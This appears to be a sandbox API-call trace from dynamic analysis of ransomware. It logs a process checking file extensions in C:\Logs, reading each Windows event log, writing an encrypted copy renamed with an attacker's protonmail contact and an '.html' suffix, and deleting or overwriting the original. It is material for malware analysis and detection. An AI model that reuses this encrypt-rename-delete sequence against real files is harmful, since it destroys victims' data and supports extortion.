	[0072.043] lstrlenW (lpString=".bz2") returned 4
	[0072.043] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString=".7z") returned 3
	[0072.043] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.043] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.043] lstrlenW (lpString=".dbf") returned 4
	[0072.043] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.043] lstrlenW (lpString=".1cd") returned 4
	[0072.043] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.043] lstrlenW (lpString=".jpg") returned 4
	[0072.043] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.043] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.043] lstrlenW (lpString=".doc") returned 4
	[0072.043] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString=".docx") returned 5
	[0072.043] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.043] lstrlenW (lpString=".pdf") returned 4
	[0072.043] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.043] lstrlenW (lpString=".xls") returned 4
	[0072.044] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.044] lstrlenW (lpString=".xlsx") returned 5
	[0072.044] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.044] lstrlenW (lpString=".ppt") returned 4
	[0072.044] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.044] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.044] lstrlenW (lpString=".zip") returned 4
	[0072.044] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.044] lstrlenW (lpString=".rar") returned 4
	[0072.044] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.044] lstrlenW (lpString=".bz2") returned 4
	[0072.044] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.044] lstrlenW (lpString=".7z") returned 3
	[0072.044] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.044] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.044] lstrlenW (lpString=".dbf") returned 4
	[0072.044] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.044] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.044] lstrlenW (lpString=".1cd") returned 4
	[0072.044] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.044] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27
	[0072.044] lstrlenW (lpString=".jpg") returned 4
	[0072.044] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.044] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.044] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50
	[0072.044] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.045] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0072.045] CloseHandle (hObject=0x320) returned 1
	[0072.045] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20
	[0072.045] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.045] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.045] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.045] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.045] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0072.045] GetLastError () returned 0x0
	[0072.045] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0072.048] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0072.050] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.050] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x138, lpOverlapped=0x0) returned 1
	[0072.050] SetEndOfFile (hFile=0x33c) returned 1
	[0072.050] CloseHandle (hObject=0x33c) returned 1
	[0072.053] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.053] SetEndOfFile (hFile=0x320) returned 1
	[0072.054] CloseHandle (hObject=0x320) returned 1
	[0072.054] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0072.054] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1
	[0072.065] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.065] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.065] lstrlenW (lpString=".doc") returned 4
	[0072.065] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.065] lstrlenW (lpString=".docx") returned 5
	[0072.065] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.065] lstrlenW (lpString=".pdf") returned 4
	[0072.065] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.065] lstrlenW (lpString=".xls") returned 4
	[0072.065] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.065] lstrlenW (lpString=".xlsx") returned 5
	[0072.065] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.065] lstrlenW (lpString=".ppt") returned 4
	[0072.065] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.065] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.065] lstrlenW (lpString=".zip") returned 4
	[0072.065] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.065] lstrlenW (lpString=".rar") returned 4
	[0072.065] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.065] lstrlenW (lpString=".bz2") returned 4
	[0072.065] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.065] lstrlenW (lpString=".7z") returned 3
	[0072.065] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.065] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.065] lstrlenW (lpString=".dbf") returned 4
	[0072.065] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.065] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.066] lstrlenW (lpString=".1cd") returned 4
	[0072.066] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.066] lstrlenW (lpString=".jpg") returned 4
	[0072.066] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.066] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.066] lstrlenW (lpString=".doc") returned 4
	[0072.066] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString=".docx") returned 5
	[0072.066] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0072.066] lstrlenW (lpString=".pdf") returned 4
	[0072.066] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString=".xls") returned 4
	[0072.066] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString=".xlsx") returned 5
	[0072.066] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0072.066] lstrlenW (lpString=".ppt") returned 4
	[0072.066] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.066] lstrlenW (lpString=".zip") returned 4
	[0072.066] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString=".rar") returned 4
	[0072.066] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString=".bz2") returned 4
	[0072.066] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString=".7z") returned 3
	[0072.066] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0072.066] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.066] lstrlenW (lpString=".dbf") returned 4
	[0072.066] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0072.066] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.067] lstrlenW (lpString=".1cd") returned 4
	[0072.067] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0072.067] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0072.067] lstrlenW (lpString=".jpg") returned 4
	[0072.067] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0072.067] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0072.067] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56
	[0072.067] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.067] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=2166784) returned 1
	[0072.067] CloseHandle (hObject=0x320) returned 1
	[0072.067] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20
	[0072.067] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0072.067] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0072.068] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0072.068] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0x0) returned 1
	[0072.068] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.068] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3ac3058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.073] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.073] ReadFile (in: hFile=0x320, lpBuffer=0x3b03058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b03058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.076] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fdfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0072.076] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc24 | out: lpNewFilePointer=0x0) returned 1
	[0072.076] ReadFile (in: hFile=0x320, lpBuffer=0x3b43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fdfc30, lpOverlapped=0x0 | out: lpBuffer=0x3b43058*, lpNumberOfBytesRead=0x2fdfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0072.644] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.644] WriteFile (in: hFile=0x320, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x2fdfca8, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfca8*=0xc015c, lpOverlapped=0x0) returned 1
	[0072.659] SetEndOfFile (hFile=0x320) returned 1
	[0072.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x42a39e0
	[0072.664] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0072.664] WriteFile (in: hFile=0x320, lpBuffer=0x42a39e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42a39e0*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0072.989] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0072.989] WriteFile (in: hFile=0x320, lpBuffer=0x42a39e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42a39e0*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0072.992] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfc74 | out: lpNewFilePointer=0x0) returned 1
	[0072.992] WriteFile (in: hFile=0x320, lpBuffer=0x42a39e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fdfc80, lpOverlapped=0x0 | out: lpBuffer=0x42a39e0*, lpNumberOfBytesWritten=0x2fdfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0072.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0072.996] CloseHandle (hObject=0x320) returned 1
	[0073.527] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.527] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.528] lstrlenW (lpString=".doc") returned 4
	[0073.528] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString=".docx") returned 5
	[0073.528] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.528] lstrlenW (lpString=".pdf") returned 4
	[0073.528] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString=".xls") returned 4
	[0073.528] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString=".xlsx") returned 5
	[0073.528] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.528] lstrlenW (lpString=".ppt") returned 4
	[0073.528] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.528] lstrlenW (lpString=".zip") returned 4
	[0073.528] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString=".rar") returned 4
	[0073.528] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString=".bz2") returned 4
	[0073.528] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString=".7z") returned 3
	[0073.528] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.528] lstrlenW (lpString=".dbf") returned 4
	[0073.528] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.528] lstrlenW (lpString=".1cd") returned 4
	[0073.528] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.528] lstrlenW (lpString=".jpg") returned 4
	[0073.528] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.529] lstrlenW (lpString=".doc") returned 4
	[0073.529] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString=".docx") returned 5
	[0073.529] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.529] lstrlenW (lpString=".pdf") returned 4
	[0073.529] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString=".xls") returned 4
	[0073.529] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString=".xlsx") returned 5
	[0073.529] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.529] lstrlenW (lpString=".ppt") returned 4
	[0073.529] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.529] lstrlenW (lpString=".zip") returned 4
	[0073.529] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString=".rar") returned 4
	[0073.529] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString=".bz2") returned 4
	[0073.529] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString=".7z") returned 3
	[0073.529] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0073.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.529] lstrlenW (lpString=".dbf") returned 4
	[0073.529] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.529] lstrlenW (lpString=".1cd") returned 4
	[0073.529] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0073.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0073.529] lstrlenW (lpString=".jpg") returned 4
	[0073.529] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0073.530] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0073.530] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41
	[0073.530] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.530] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0073.530] CloseHandle (hObject=0x33c) returned 1
	[0073.530] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20
	[0073.530] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.530] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0073.530] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.530] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.530] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0073.531] GetLastError () returned 0x0
	[0073.531] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0073.534] WriteFile (in: hFile=0x320, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0073.535] ReadFile (in: hFile=0x33c, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.535] WriteFile (in: hFile=0x320, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x126, lpOverlapped=0x0) returned 1
	[0073.536] SetEndOfFile (hFile=0x320) returned 1
	[0073.536] CloseHandle (hObject=0x320) returned 1
	[0073.538] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.538] SetEndOfFile (hFile=0x33c) returned 1
	[0073.539] CloseHandle (hObject=0x33c) returned 1
	[0073.539] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0073.540] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1
	[0073.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.540] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0073.540] lstrlenW (lpString=".doc") returned 4
	[0073.540] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0073.540] lstrlenW (lpString=".docx") returned 5
	[0073.540] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0073.540] lstrlenW (lpString=".pdf") returned 4
	[0073.540] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0073.540] lstrlenW (lpString=".xls") returned 4
	[0073.540] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0073.540] lstrlenW (lpString=".xlsx") returned 5
	[0073.540] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0073.540] lstrlenW (lpString=".ppt") returned 4
